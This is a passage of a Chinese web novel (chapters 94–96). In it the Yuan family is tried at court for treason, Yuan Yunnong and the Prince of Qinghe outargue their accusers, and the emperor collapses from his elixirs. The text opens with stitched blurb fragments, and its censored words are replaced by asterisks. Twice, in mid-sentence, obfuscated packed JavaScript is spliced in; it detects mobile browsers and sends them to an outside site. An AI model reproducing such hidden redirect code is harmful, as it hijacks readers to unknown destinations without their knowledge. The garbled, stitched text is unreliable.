火舌舔过“七月廿四漕粮改道“的字样,灰烬飘向皇城方向。突然掀开孝衣,内襟缝满北境布防图 越艳风流,占天上、人间第一。 须信道、绝尘标致,倾城颜色。 笑从来、到处只闻名,今相识。 。 “骄兵悍将,杀了祭旗。” “知道他是我义弟,连他我都能杀,其他人算什么?” 。 “阿姊嫁我,我并非是要阿姊做槛花笼鹤,若是阿姊高兴,做什么也无妨。” “怎么委屈上了?” “你原先叫我阿姊,后头成了骠骑大将军回来,为何唤我小字了?” “因为阿姊真把我当阿弟了。”“我要告诉阿姊,告诉世人,我不是把你当姊妹的。” “那现在怎么又改口了?” “即成了婚,我还是喜欢叫阿姊。” “家国新成,纲纪宜张。当招致旧臣,共图更始。像前世那般大开杀戒,并不可取。” “阿姊今生心慈手软了许多。” “那是我该做的事,我素来喜欢作恶。” “听阿姊的。” “百年前楚乐有一女帝,以长公主之身陟中坛,即帝位,改正朔,易服色。”“阿姊想当皇帝吗?” “你这又是何意?” “若是阿姊更想当帝王,换换也未尝不可。” “皇天后土,帝后同治。既是同尊,何妨在乎一个称谓?”“是那些男人让皇后开始居于皇帝之后。” “我要往后的所有皇后,都有兵权,可议政,登庙宇。” “那我便叫匠人在龙椅边再造一个凤椅。”“当年楚乐之景,我为阿姊再造一遍。” 。 “朝荣郡主,荣宠斯僭,取乱彝章。”“陛下不可因怜惜惠贞长公主,而如此怜其女。” “恩宠太过,不合规矩?”“长公主是陛下亲姐,” “那些昏君自个儿把朝纲败坏,**反倒是来怪女钗裙。” “我看梁大人你是读书不甚解,是非不分,竟是个书呆,也能坐到这三品官的位置上。” “要我说来,你这大理寺少卿不做也罢,趁早洗手回家给令正做羹汤吧,退位让贤给小沈大人罢。” 。 “清河王已是位极人臣,又是王侯。” “赏无可赏,封无可封,唯有杀之。” “既然已是封无再封,陛下就想要取我性命了吗?” “天下已定,我固当烹。” “朕怎会有此意?” “说什么花好月圆人亦寿?”“江山**几多愁,胡儿铁骑豺狼寇,叛军灾民颠沛久。” “不是我元氏,是清都在**叛军,击退敌寇,岂容你们在京城之内 第94章 吵架 宣旨宦官的皂靴碾扁了廊下的槐花,刚到岁浓院坐下的元韫浓,因为这该死的圣旨又出来了,此刻心情极度不悦。 而且岐国公、元彻回和元蕴英三个一路风尘仆仆,又受了伤,惠帝倒是急匆匆下旨来了。 也不知道这其中有多少太后的手笔。 毕竟太后想要她手里的半块虎符,但是她却一直称病不出,就连朝臣们想要**她夜闯宫门,也被裴令仪强势压下了。 如今岐国公他们回朝,这事自然要拿出来再说一遍了。 “陛下口谕——”宦官的拂尘扫过,“明日早朝,岐国公携元氏满门家眷候审宣政殿,元氏阖府明晨觐见。” “候审?”元韫浓扶钗的手蓦地一顿,“审我元家何罪?我岐国公府又何罪之有?” “一问朝荣郡主擅闯宫禁,损天家颜面。二问元氏罔顾国法,私蓄甲兵,意图不轨,包藏祸心。此等悖逆之举,简直是大逆不道。”宦官尖声道。 元韫浓冷笑:“部曲养了这么多年,陛下可都是知道的。怎么这会想起来要问责了?养部曲的可不止是我们元氏啊。” 宦官嗓音陡厉:“郡主这是何意?况且郡主私调部曲夜闯宫门,是要清君侧,还是弑君?” “公公这话说出口可得仔细了,这罪名,我们岐国公府可不敢担上。”元彻回冷声说道。 他的战甲还未曾褪下,在太阳底下晒得发烫,甲片折射的光斑跳在地砖上。 “国公爷戍边,倒把南营军养成了元家犬,这些话可不是咱家说的,而是宫里头的贵人们说的。”宦官恼恨道。 裴令仪的靴子碾碎满地槐米,甜腻汁液渗出,他站到元韫浓身边,“是非对错,自然明日会有分说,自有陛下来说,什么时候轮得到宦官来议论?” 宦官整张脸涨得通红,怒目圆睁,“你!” 他们这些宦官在惠帝身边久了,太久一人之下,万人之上。 再加上惠帝如今天天磕丹药,愈发依赖他们和方士,更是一时间气焰嚣张,风头无人能比。 如今宫里宫外,见了他们的无论心里如何作想,明面上都会给几分薄面。 谁会像裴令仪似的,出口就是如此。 “小孩子家家不懂事,说话冒犯了公公,还请见谅。”岐国公从后边走出来,站到了前面。 宦官的白眼都快要翻上天去了。 还小孩子家家呢?岐国公指不定眼神有点问题。 “陛下召见,臣等自然是要领命的。”岐国公还算给面子,轻飘飘地领了旨意,“臣,领旨。” 宦官憋着一肚子气,怒气冲冲地回了宫。 岐国公道:“看来明日,我们元氏是得被口诛笔伐了。” “无妨。”裴令仪平淡道,“迟早有那么一日的。” 晨光剖开云层时,各方各位都已经在宣政殿恭候。 文武百官按品阶肃立两厢,脊背绷得笔直。 这场酝酿了如此之久,直到岐国公他们还朝,才逐渐显露电闪雷鸣的气息。 风雨欲来。 司礼太监尖细的唱喏穿透凝滞的空气,惠帝终于来了。 众人行礼之后,这场没有硝烟的战争拉开帷幕。 “有事起奏,无事退朝——”宦官尖声道。 御史台张中丞率先上前,“陛下,臣有事要奏!” “讲。”惠帝道。 御史中丞笏板直指元韫浓眉心,“微臣要**朝荣郡主!元氏女数月之前无视宫禁,带私兵夜闯宫闱,当以谋逆论!” 一时间满朝哗然,私语声不断。 “肃静。”惠帝勉强压住满朝喧哗。 “好个谋逆!”元彻回冷笑,“我们刚从北州回来,将士们死的死,伤的伤,回头来第一日便要遭奸人污蔑,着实令人寒心。” “那敢问,当夜皇城金吾卫名录上,为何偏偏少了几队翊卫和佽飞的记录?”御史中丞冷笑。 “御史中丞方才说我擅闯宫门,图谋不轨?那缺了页的记录文书,怎么会出现在张开华张大人的书房暗格里?”元韫浓问。 她指尖一挑,袖中滑出一卷薄册,在面前晃了晃。 御史中丞面色一沉,立刻出列反驳:“朝荣郡主此言差矣!皇城金吾卫轮值如今乃是白家所辖,与张大人何干?” 他是张开华族弟,自然下意识为族兄开脱,把锅甩给了政敌党派的齐家白家。 此言一出,他自觉是说错了话,不由得露出来恼恨的神色。 元韫浓轻笑一声,缓步走近:“御史中丞倒是护得紧自家人,说得好啊,金吾卫如今是白家在管,怎么来问我们元家?” 御史中丞看着元韫浓掏出来的那本簿册,才发觉自己被诓骗了,那并非是真的记录文书,而是元韫浓随口说出来诈他话的。 那簿册根本不是什么记录文书,而是…… 御史中丞脸色大变。 “那这封举荐书总归是御史中丞三年前三年亲笔所书了吧?举荐侄婿做金吾卫翊卫的书信,又该作何解释?”元韫浓问。 “我那只是!”御史中丞险些口不择言。 却被张开华拽住了袖子,御史中丞生生止住了下面的话。 元韫浓替他说了:“只是任人唯亲罢了。” 实际上那几张记录是她叫人撕掉的,那些没记录的金吾卫是念及了与元氏,与元彻回的往日情分,不忍为敌,刻意回避了。 那她自然也不能让人难做。 只是御史中丞把这事情攻击她,她反咬一口罢了。 “御史中丞居然如此口出狂言,污蔑岐国公府与郡主,还请陛下主持公道。”沈川忙道。 惠帝像是有些心不在焉,摆了摆手,“贬。” “陛下!”御史中丞还想再说。 张开华制止了他。 只是贬官,没有牵扯更多,已经算好了。 如今他们张家大势不在,贵妃还被太后和皇后暗害所亡,必须保住最后的力量。 虽然能落井下石,想着斗倒元家最好,但他们最首要的敌人是太后党派。 因为只要慕湖舟一当上皇帝,那他们一点喘息都不会有,马上就得死。 齐丞相不紧不慢地站了出来,“虽说张家又错,但朝荣郡主也的确是夜闯宫闱了。” “擅闯?当时我母亲危在旦夕,事出从急,那时守门的金吾卫却假传旨意,不让我进宫探望母亲。我疑心宫中有人生事谋反,这才急着带部曲入宫。”元韫浓立于殿中,朗声道。 她似笑非笑地道:“我分明是一心为君,想着——清君侧。” 满朝寂静。 白统领厉声喝道:“放肆!擅闯宫门乃大罪,岂容你在这里巧言诡辩!就算有刺客,也该禀明圣上!” “若真是刺客呢?待我禀明陛下,早就来不及了。白统领,你这话说的,是巴不得再有危机时无人挺身而出救驾吗?”元韫浓不疾不徐地问。 口舌之争,你来我往,元韫浓最是擅长不动声色地诡辩。 有人泼脏水,她便要避重就轻地泼回去。 不管真的假的,黑的白的,一律都讲得天花乱坠。 丞相冷声喝道:“听朝荣郡主此意,是不知道惠贞长公主谋害张贵妃,只是恰好在那个时候进宫探病了?当日张贵妃于宴上暴毙,郡主在那种时候进宫,可真是好兴致。” 张开华也立刻拧眉看了过来。 他隐约觉得这些事情跟太后党派脱不了干系,但是当时传来的消息是惠贞长公主畏罪自裁。 尽管他仍觉得太后党派动手的可能性更大些,但也多少起了疑心。 元韫浓问:“丞相为何要如此污蔑母亲?母亲生病,在自己宫中不曾离开,更是未曾踏足宴席半步。如此怎能说是母亲谋害张贵妃?” “空口无凭,此事是太后娘娘定得罪,陛下授意,难不成郡主是质疑太后和陛下的旨意了?”丞相怒目而视。 “金吾卫当夜值守记录全部在册,宫女证词我也早就派人抄录,若是丞相想看,我随时可以叫人拿来给丞相看看。”元韫浓眸光微冷。 白统领立即道:“即便如此,长公主与张贵妃素有嫌隙,焉知不是她指使他人下毒?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574252|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >元韫浓唇角微微勾起,“当时皇后不是抓到了**的宫女吗?” 丞相面色骤变。 那个宫女曾经在惠贞长公主宫里当过一段时候的洒扫宫女,后面被调去了广储司。 被他们收买了之后,宫女给张贵妃**。 至于事后?宫女自然也被处理掉了。 元韫浓眼中寒光乍现,“偏偏这宫女还没审就**了,她的家人还拿到了一笔不菲的钱。怎么如此这下毒的宫女,还能得了银钱奖励吗?” 广袖垂落,元韫浓抬眸扫过丞相,唇边噙着一丝冷笑,“还是说,这宫女实际上是丞相支使的,凶手另有其人呢?” “朝荣郡主可莫要血口喷人!本官行事光明磊落,岂容你污蔑?”丞相勃然大怒。 “光明磊落?”元韫浓眉梢微挑,“先前运往北州支援将士们的那批粮,怎么偏偏是从光禄寺的旧仓调出的?调旧仓粮草的文书上边的私印是丞相的,也是丞相光明磊落盖上的?” 她言辞辛辣:“丞相这是光明磊落地给前线苦苦御敌的将士们送发了霉的粮食啊,这丞相自己尝过吗?” 元蕴英提起这个就来气,“好哇,原来是你这个老匹夫干的好事?要不是我妹妹和清河王另外想了法子调粮,就等着北凉人的马蹄,踏碎你的脑袋吧!” 她说话是一点都不客气,就差没指着丞相脑袋骂了。 “你!黄毛丫头,你居然敢如此辱骂本官?”丞相原先还一阵心惊肉跳,这下被激起了火气。 “丞相若是没做这样的事情,置北州以及将士们的性命于不顾,蕴英也不至于如此气恼。”岐国公冷声说道。 元彻回冷嗤:“怎么?敢做不敢当了?” “到底是谁敢做不敢当?”白统领胡须气得直颤,“你们元氏都敢带着部曲夜闯宫门了,与谋逆无异,还敢在这里辱骂朝臣?” 元韫浓冷笑回敬:“白统领这般急着扣谋逆的帽子,莫非是记恨我阿兄和三姐管金吾卫时,比你得人心吧?” “血口喷人!”白统领脸色涨红。 “金吾卫有多少人真心服你,你自己心里清楚。”孙鹃纨笑着插了句嘴。 “和你们孙家又有什么关系!”白统领怒发冲冠。 孙鹃纨哎哟了一声:“还不让人说了?” 萧煜补了一句:“实话实说而已。” 孙鹃纨赞同地看了他一眼,觉得看他顺眼多了。 至少人模人样的,比裴七拎得清,也比裴九会说话。 沈川点头,“官场之上,自然要秉公直言。” 孙鹃纨这会连带着看沈川也顺眼了不少。 “朝荣郡主擅闯宫门证据确凿,还敢攀咬朝臣呢?他们元氏还真是一个样子啊,连盟友都一样。”吕大人小声跟旁边的臣子讲坏话。 “吕大人急什么?”站在他们旁边不远的郑女幼忽然阴恻恻插话,“这不是还没骂到你吗?” 郑大人咳了一声:“女幼,别那么无礼。” 郑女幼对他更无礼,“你管我啊?父亲,咱俩现在是同僚,保持距离啊,别让人以为我是靠你关系当官的。” 郑大人险些被气得吐血。 “你们元氏别欺人太甚了!”白统领吹胡子瞪眼睛。 “欺人太甚?”元彻回冷笑,“你们白家这群贪生怕死的鼠辈,还躲在我们元家后头苟且偷生呢。哪回上阵不是我们元家?看不惯我们,你们倒是上啊!” 丞相怒道:“小辈无礼!” “老辈荒唐!”元蕴英不甘示弱地怼了回去。 群臣们顿时炸了锅。 他们你一言我一句地吵了起来,尤其是太后党派和国公党派的人,此时此刻一点都顾不上什么体面什么体统了,吵得面红耳赤。 也顾不上言语优美了,甚至顾不上惠帝就坐在上面,只顾着吵架。 一个两个,眼里都没有半点对自己阵营的忠诚,全是对吵赢对方的渴望。 元韫浓忽见龙椅之上的惠帝双目涣散,指尖正神经质地摩挲着一枚丹药。 这场面实在是闹得过分了。 第95章 磕疯了 “够了。”惠帝忽然出声,声音虚浮。 “朝荣愿领擅闯之罪。”元韫浓立刻故作柔弱地低下头,却抬眸直视龙椅,“只求陛下肃清君侧,还朝堂朗朗乾坤。” 她当然没指望惠帝能派上什么用场,只是用来气气那些人而已。 惠帝捻起一粒朱红色药丸,含进舌下,半晌才恍惚道:“元家有功……朝荣郡主……此事,容后再议。” 满朝一寂。 元韫浓敏锐地注意到,惠帝有些恍惚。 大理寺少卿梁大人却在此刻走了出来,“微臣还有一事,微臣疑心朝荣郡主私通北凉。” 孙鹃纨表情阴冷下来,“梁大人,这饭可以乱吃,话可不能乱说。” “就是啊,你倒是好,张嘴上唇跟下唇一碰就是这种话,人家还得为你这话辩驳。”郑女幼冷嗤,“我还说看见你前些日子又娶了一房小妾,疑心是**赃款才那么多钱呢,你是不是该为此辩驳一下啊?” 元韫浓不等大理寺少卿反驳,问:“少卿方才说我通敌,证据呢?” 大理寺少卿冷哼一声:“昔日郡主同太子一道前去靖州赈灾,但是有官员言明,郡主在当时现身正值叛乱的锦州,非但如此,还在北州出现。” “没错,还有逃回北州的俘虏说了,在北凉地界也见到过郡主。郡主能出现在北凉地界,还能安然无恙返还,这还不能说明与北凉暗通款曲吗?”在朝的徐家人站了出来。 “我看你们都是老糊涂了,这样的话都说得出来。”元韫浓唇角勾起一抹讥诮。 “朝荣郡主,朝堂之上,陛下面前,岂容你如此放肆!还不快快认罪?”张开华道。 慕载物也附和道:“何必再垂死挣扎?” 元韫浓眸光锐利,“锦州靖州一线之隔,当时太子赈灾,我于锦靖交接处别庄休养,我阿兄和清河王俱在锦州,我在那里出没有什么异常吗?” “诸位大人若还有异议,不妨就趁此机会当面对质吧。”她道,“至于我为何会出现在北凉地界,是因为……” 话音未落,一道低沉带笑的声音自殿门处传来:“说得好。” 朝臣们骤然变色,纷纷回头,只见姗姗来迟的裴令仪这会才慢条斯理地迈步入殿。 这也太狂妄了,上朝那么久了,裴令仪才来。 而且无人通报,一来就上来插话。 他唇角噙着笑,眸光却冷如寒刃,“郡主之所以会在北凉,那是因为北凉人狡诈,郡主为探北凉军情,舍生取义,潜伏入北凉军营,九死一生回来取得情报。” “这怎么可能?!”白统领瞪圆了眼睛,“你当别人都是蠢的吗?那么多死士将士不派出去?你派一个手无缚鸡之力的郡主去潜入敌营!” “怎么,白大人有异议?”裴令仪轻笑一声,“本王可就是靠着郡主带回来的情报,才击退了北凉啊。” 孙鹃纨帮腔:“我们这些人当时可也在北州呢,全部可以作证。” 萧煜点头,“当时北凉兴事,我们从锦州到北州御敌,得亏郡主一心为民,甘愿潜入敌营,以弱女子的假象蒙蔽北凉人,才取得了情报。” “郡主为此还负了伤呢,只是怕家里人担心,这才瞒了下来。”裴九说道。 的确并不知情的岐国公和元蕴英也是看向了元韫浓,元韫浓难免心虚。 毕竟当时她可是说自己一直在别庄休养的,而且那会她不是潜入敌营,是被惠帝设计了,才被北凉人抓走的。 就连慕湖舟也惊愕地看向元韫浓,随即又低下了头,苦笑了一声。 自始至终,他都没有说过话。 白统领眼睛瞪得更圆了,这怎么听都怎么不可能。 “白统领,你人不行别怪路不平啊。”孙鹃纨嘲弄道,“自己连前线都不敢去,别质疑人家郡主去不了啊。” “你!”白统领气急。 这几个人,个个牙尖嘴利,真是半点下风都不想落下。 “本王觉得,元氏几番出征,是一心为公,功在社稷。”裴令仪抬眸,似笑非笑地看向龙椅上的惠帝,“陛下以为呢?” 惠帝面色微僵,指尖在龙椅扶手上收紧,却不得不开口:“……清河王所言极是。” 几曾何时,裴令仪还是在废弃冷宫里任人打骂的丧家之犬,随时随地可以捏死的蝼蚁。 从什么时候起,裴令仪成为了这样的心腹大患,成为了眼中钉、肉中刺? 好像是从答应元韫浓,让岐国公认裴令仪开始。 又好像是允许裴令仪带兵前去御敌开始。 裴令仪逐渐失去了掌控,和太后一样成为了无法忽视的存在,成为了威胁。 叫他这个皇帝不得不忍气吞声,不得不伏低做小。 裴令仪如今权倾朝野,军功赫赫,早已赏无可赏。 今日站出来,不是以臣子的身份,而是以权臣的姿态威胁他,压制他。 早知如此,当初就该直接杀了裴令仪。 惠帝想着,用颤抖的手扒开瓶塞,又往嘴里塞了一颗色彩鲜艳的丹药。 裴令仪颔首,转而看向元韫浓,眸光微深:“至于擅闯宫门一事,当夜金吾卫名录,是本王下令抹的。” 登时满朝哗然。 “一派胡言!你调遣金吾卫,本官怎么可能不知道?”白统领怒道。 金吾卫如今是他管辖,裴令仪怎么可能在刚回来那一日就调遣了金吾卫,还直接撕了那几页记录? “怎么?”裴令仪挑眉,“不过是调几个翊卫,还需向白统领报备?” “阿姊受委屈了。”他望向元韫浓,声音不轻不重,“明明做了那么多事情,却无人知晓,还有用险恶之心揣度阿姊。既然阿姊不说,我来替阿姊说。” 他仿佛是痛心疾首的模样,才替元韫浓说出了这些事情。 元韫浓配合地别过头,装模作样地用手帕抹了抹泪水。 “陛下不可听信他们一面之词!朝荣郡主,荣宠斯僭,取乱彝章。”丞相上前一步,作揖道,“陛下不可因怜惜惠贞长公主,而如此怜其女。” “恩宠太过,不合规矩?”裴令仪问,“长公主是陛下亲姐,又受了冤屈不明不白被赐死,如此**出自于谁人之手,难道丞相不明白吗?” 众人瞠目结舌。 裴令仪在这场面直言这样的话,可以说是直接跟太后党派撕破脸了。 惠帝依然沉默。 大理寺少卿见惠帝没有直面这个问题,便道:“陛下自有陛下的决断,如今商议的是朝荣郡主闯宫门一事,清河王怎么转移话题呢?” “事出有因,郡主方才说得一清二楚,梁大人还有什么听不明白的?若这么说来,做错事情的又何止是郡主,本王、梁大人、丞相乃至于陛下,通通做错了。”裴令仪半眯起眼睛。 “此事起因是为了郡主,陛下作为天下之君父,怎会有错?清河王真是口出狂言,大逆不道!”大理寺少卿尖声喊了起来。 元韫浓呵了一声:“那些昏君自个儿把朝纲败坏,**反倒是来怪女钗裙。如此千错万错,都怪到了我身上了?” 她就差没指名道姓说惠帝了。 元韫浓扫了一眼大理寺少卿,轻蔑道:“我看梁大人你是读书不甚解,是非不分,竟是个书呆,也能坐到这三品官的位置上。” 大理寺少卿一时语塞。 “要我说来,你这大理寺少卿不做也罢,趁早洗手回家给令正做羹汤吧,退位让贤给小沈大人罢。”元韫浓嗤笑。 裴令仪也笑了一声:“阿姊何必如此刺激梁大人?梁大人可是日日夜夜担惊受怕,怕大理寺寺丞升官太快,抢了他位置呢。” “这是元家的事情,又与清河王何干?清河王何必三番五次插话干涉?”丞相冷眼相看。 裴令仪挑了一下眉梢,“当初是陛下叫岐国公认本王为义子,也是陛下下旨允本王同朝荣郡主定亲,亲上加亲,如今本王离这元家人只差完婚了。” “临门一脚,待到本王同郡主完婚,便是实打实的元家人了。而如今,再怎么说来,本王也是半个元家人啊,怎么就管不得这事了?”他的模样看着甚至有些得意。 孙鹃纨不忍直视。 朝臣们听着也觉得古怪,裴令仪这话说的,像是成了婚就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581526|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要上门去当赘婿了。 不过这清河王也着实是奇怪,放着御赐的宅邸和原先的清河王府不住,偏偏还住在人家岐国公府。 也就先前一段日子住了会,如今又颠颠地跑去岐国公府住着原先的院子了。 难不成,这清河王真是喜欢去做倒插门? 裴令仪还要问惠帝:“此事还得多亏了陛下天赐良缘,陛下觉得呢?” 裴令仪似笑非笑地看过去。 在惠帝眼里,是同挑衅无异。 惠帝冷冷地扯了一下嘴角,“清河王已是位极人臣,又是王侯。如此亲自向朕来讨要一桩婚事,朕岂能不答应?” “赏无可赏,封无可封,唯有杀之。”裴令仪半是玩味地说道。 他压低了眉骨,眼睛微微眯起,眼眸弯起弧度,笑意却不达眼底,透着阴鸷和杀意。 “既然已是封无再封,陛下说这话,陛下就想要取我性命了吗?”他问。 裴令仪漆黑的瞳孔深处翻涌着暗潮,“天下已定,我固当烹。” “朕怎会有此意?”惠帝立即说道。 他被裴令仪的眼神盯得毛骨悚然,总觉得像是被茹毛饮血的野兽盯上了。 冷汗从额角渗出,惠帝又哆嗦着手去取了一颗丹药吞下。 白统领却冷笑:“清河王这是何意?难道是在怨怪陛下吗?你我身为人臣,理应为陛下分忧才是。” “为陛下分忧之人是你白家吗?”元蕴英冷嗤,“在外头抛头颅洒热血的,分明是我们元氏,是清河王,是万千将士。” 又被截了话,白统领难压心中恼火,“这事提了多少遍了?不就是上沙场打打仗吗?” 萧煜冷冷道:“这话说得轻松,那怎么不见得白统领当时愿意站出来呢?” “如今天下还算得上是太平,何必说如此煞风景的话?”丞相皱眉。 “太平?”孙鹃纨都快笑出声来了,“你不去战场上,就别说是太平。” “说什么花好月圆人亦寿?”元韫浓道,“外面是什么情况,丞相自己去瞧上一眼了吗?” 江山**几多愁,胡儿铁骑豺狼寇,叛军灾民颠沛久。 元韫浓质问:“不是我元氏,是清都在**叛军,击退敌寇,岂容你们在京城之内高谈阔论?” 他们从来不会看到,也不会在意那些伤疤和疼痛。 白统领并不甘心,见说不清了,便上前一步,“陛下!此事还需陛下决断啊!绝不能放任此等忤逆之事被上行下效啊!” 殿内却陷入了一阵诡异的沉默。 沉默的时候有些久了,臣子们不由抬头去看上面。 却见一直没说话的惠帝坐在龙椅上面,忽然咯咯笑起来,枯瘦的手指指向殿外:“仙鹤……你们都看见了吗?仙鹤飞来了……朕要长生不老了!” 满朝文武僵在原地。 什么? 他们心里都只有一个念头,惠帝怕是丹药磕得太多了,离疯不远了,怕是过不了多久,就得上太子上位了。 裴令仪却一脸平淡,“陛下炼丹辛苦了,还不快扶着陛下回到寝宫去好好休息?” 一旁的宦官立刻虚扶住摇摇欲坠的惠帝。 “退朝——” 今日争议了快要半日的事情,乱成一锅粥了,最终居然什么结果都没有争出来。 还以这样荒诞诡异的一幕结束了,众位臣子心里都有些茫然。 他们面色各异,各怀心事,不由得对视了一眼。 裴令仪平静道:“行了,退朝吧。” 众人更是一脸疑问,但又不由得照做。 太子还在这里呢,清河王这句“退朝”来的,是不是有点名不正言不顺了? 难道说这就是权臣吗? 有些人敏锐地觉察到,争夺的中心似乎从三五皇子,变成了太子和清河王。 那岐国公府呢? 原本似乎是站在慕湖舟那里的元氏,立场也就显得暧昧不明了起来。 毕竟若惠贞长公主一事真是**,那太后跟岐国公府就是死仇了。 而太后和皇后,是妥妥的站在慕湖舟这里的啊。 眼波流转,臣子们心思各异。 第96章 吃味 元韫浓走出宣政殿。 岐国公对她点了点头,“你们先回去吧,为父和你兄姐还得去整肃南营军,处理堆积的军务。” “好,父亲和兄姐辛苦了。”元韫浓含笑点头。 周围的臣子从身边快速路过,走下台阶。 或是埋着脑袋装鹌鹑,又或是停下脚步转头点头示意,寒暄片刻。 又回头看了一眼宣政殿,隔着漫长的台阶望向殿内的那把黄金灿烂的龙椅,元韫浓停顿了片刻。 裴令仪注意到了元韫浓视线的短暂驻留,轻声道:“很快了。” “这点耐心我还是有的。”元韫浓瞥了一眼裴令仪。 她又看了一眼那个位置,回过头继续往前走去。 不是今日。 裴令仪跟随上她的脚步,笑吟吟地说道:“既然事情已了,今日去近水楼台吃好不好?阿姊上回才说想要吃近水楼台的樱桃肉和黄焖鱼翅。” 其实裴令仪之前已经在她说想吃的时候,给打包带过来了。 这回这么说,也只是想跟她一块去外头吃顿饭而已。 也确实是很长时间没有跟裴令仪一块在外吃过饭了,元韫浓想来,便也点了头,“也可以。” 裴令仪眉眼染了笑意,“在金明池上吃好不好?” 他的语气像是在撒娇,尾调千回百转。 元韫浓又看了他一眼,“随你。” 裴令仪却像是得到了什么天大的奖励般弯着眼睛笑了起来。 不过这样的笑容没能维持多久,因为慕湖舟在阶下似乎是在等元韫浓。 裴令仪原本压根不想理睬慕湖舟,奈何慕湖舟先开了口:“浓浓。” 元韫浓停下了脚步,“表哥。” “我不是想做什么,我只是想问问……跟我一同去靖州那会,你是真的没有住在别庄,而是去了锦州吗?”慕湖舟问道。 他看着裴令仪警惕的目光,咽下喉头的苦涩。 换了身份,好像就失去了一切的资格。 元韫浓点了点头,“是真的。” 她压低声音说了实话:“只是去北州去北凉,都不是我所愿,我是被北凉人抓走了,后面也是逃了回来。” 慕湖舟苦笑:“即使是遇到了这么危险的事情,那时候你也没有选择告诉我。即便在那个时候,你也觉得我无法信任了吗?” “我只是不想让你担心而已。”元韫浓摇头,“我同样也没把事情告诉爹娘兄姐,我只是不想让你们徒增烦恼。” 但是裴令仪却知情。慕湖舟闭了闭眼。 “太子殿下,事到如今说这些还有什么用?”裴令仪早就不耐烦了。 他言语刻薄道:“如今在这里自怨自艾,不如看好自家门户吧,要怪就怪你有个这样的母后和皇祖母。” 是,怪不得别人,只能怪他自己。慕湖舟睁开了眼睛。 他注视着元韫浓的目光依然哀伤,也依然柔和,“是我负你。” “欠我的不是你。”元韫浓回应道。 可以说太后欠她,可以说皇后欠她,也可以说裴令仪和她互相亏欠,可以说任何人亏欠她。 但是慕湖舟不欠她的。 慕湖舟只是太倒霉了,倒霉到什么事情都刚刚好。 刚刚好错过,刚刚好就是慕湖舟。 只是她先前因为母亲迁怒于慕湖舟罢了。 “是我薄待了你。”慕湖舟却坚持到,“来日就算是生吞活剥,你冲我来,我生死都无悔。” 元韫浓叹了口气,“表哥,我不怪你,你也别怪自己。” 毕竟冤有头,债有主。 “你日后也不恨我,那才算好的。”她道。 毕竟她以后还要报仇的。 慕湖舟摇头,“不会。” “我也没有别的什么意思。”他稍稍侧过脸,隐去眸中的泪光,“我希望你能好,我希望你好。” 真心实意爱过的人,却要这样分开,到底要怎么样才能释怀。 “湖舟。”元韫浓再一次喊他的名字。 慕湖舟抬起脸看她。 她真诚道:“祝好。” “叙旧也叙旧过了,太子殿下日理万机,还是赶紧回东宫去处理公务吧。我和阿姊也另外有事,就不耽误太子时间了。”裴令仪皮笑肉不笑。 说完也不给慕湖舟再说什么的机会,就拉着元韫浓往前走。 “急什么?走那么快。”元韫浓含笑敲了一下旁边郁闷的裴令仪,“赶着回家吃饭呢?还是怕后边有鬼来追呢?” 裴令仪因为“回家”两个字,脸色稍好。 他软了声调:“阿姊,是慕湖舟不识趣,都这样了还一直纠缠阿姊,也不知道恪守德道,不要脸面。” “你在是什么东西呢?”元韫浓瞥了他一眼,“别胡说。” 裴令仪轻哼一声:“总之他也翻不起什么风浪了,阿姊也不会再回到他身边了。” 元韫浓不想理他。 他兀自对元韫浓笑,“我瞧着今日里闷热,蜻蜓低飞,晚间或许是会下点小雨的,便可以和阿姊听雨品茗了。” “行,备点酒水。”元韫浓道。 裴令仪露出笑,“果酿好不好?阿姊上回说的樱桃酒。” 就看到了等候已久的沈川。 裴令仪才刚浮现上脸庞的笑容,彻底垮了。 元韫浓瞥了一眼裴令仪,知道他介意沈川远甚于慕湖舟。 裴令仪咬着牙问:“他又来做什么?” 有完没完了? 刚送走一个慕湖舟,又来了个更烦人的沈川。 “沈大哥。”元韫浓没有理睬裴令仪,而是微笑着迎了上去。 沈川和慕水妃对于她的意义到底是不一样,要不然裴令仪也不至于这么忌惮他们两个,远甚于和元韫浓定下过婚约,险些完婚的慕湖舟。 元韫浓对沈川和慕水妃这两人的情感很复杂,因为沈川和慕水妃不只是她和裴令仪的对照,也曾经是她的支撑。 裴令仪死前,他们是她的后盾和微妙的嫉妒之源,是她和裴令仪的心腹之患。 裴令仪死后,他们又是她的支撑和释怀。 往日执念,仿佛都如齑粉般灰飞烟灭。 沈川和元韫浓太无私了,即使是她和裴令仪那样各怀心思,他们也照旧把她和裴令仪当做弟弟妹妹一样看待、呵护。 无私得可怕,可怕到元韫浓都恨到无力,讨厌不起来他们。 所以她和裴令仪只能拖拽着彼此在泥沼里越陷越深。 沈川看见元韫浓和裴令仪走过来,连忙上前,“韫浓,令仪。” “沈大哥在这里是等我们吗?”元韫浓问道。 裴令仪跟元韫浓是截然不同的表情,“哈,大理寺少丞在这里做什么呢?” 沈川对两人温差甚大的对待没有丝毫的觉察,照旧温和地笑着道:“我等韫浓。” 裴令仪的表情更难看了。 “有什么事?”他面无表情地问道。 “其实也没什么事,我就是想问问韫浓,我过不了多久要去西洲办案,要不要与我同去?”沈川含笑说道。 裴令仪的神色难看至极。 沈川对此一无所知,继续道:“因为先前韫浓同我说过,西洲风色好,芳草年年碧,想去瞧瞧。恰好有此机会,我也想带韫浓前去散散心。” 他每说上一句,裴令仪的脸色就黑上一分。 